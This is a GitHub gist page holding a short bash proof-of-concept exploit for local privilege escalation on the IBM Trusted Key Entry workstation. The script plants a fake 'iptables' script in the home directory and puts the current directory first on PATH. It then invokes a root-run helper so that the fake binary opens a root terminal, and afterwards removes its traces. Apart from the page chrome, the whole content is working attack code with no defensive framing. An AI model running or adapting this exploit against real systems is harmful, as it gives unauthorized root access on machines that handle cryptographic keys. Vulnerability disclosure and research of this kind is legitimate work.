Skip to content

Instantly share code, notes, and snippets.

@ykoster
Created March 31, 2019 07:28
Show Gist options
  • Save ykoster/4db655746909a71e7ed2ee8990b9ebc9 to your computer and use it in GitHub Desktop.
Save ykoster/4db655746909a71e7ed2ee8990b9ebc9 to your computer and use it in GitHub Desktop.
IBM Trusted Key Entry (TKE) workstation local privilege escalation
#!/bin/bash
OLDPATH=$PATH
trap cleanup EXIT
export PATH=.:$PATH
/bin/cat > $HOME/iptables << __EOF
#!/bin/bash
/bin/su -c /usr/bin/xterm
__EOF
/bin/chmod +x $HOME/iptables
cd $HOME
/console/bin/framework/runAsRoot runiptables
function cleanup()
{
export PATH=$OLDPATH
rm -f $HOME/iptables
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment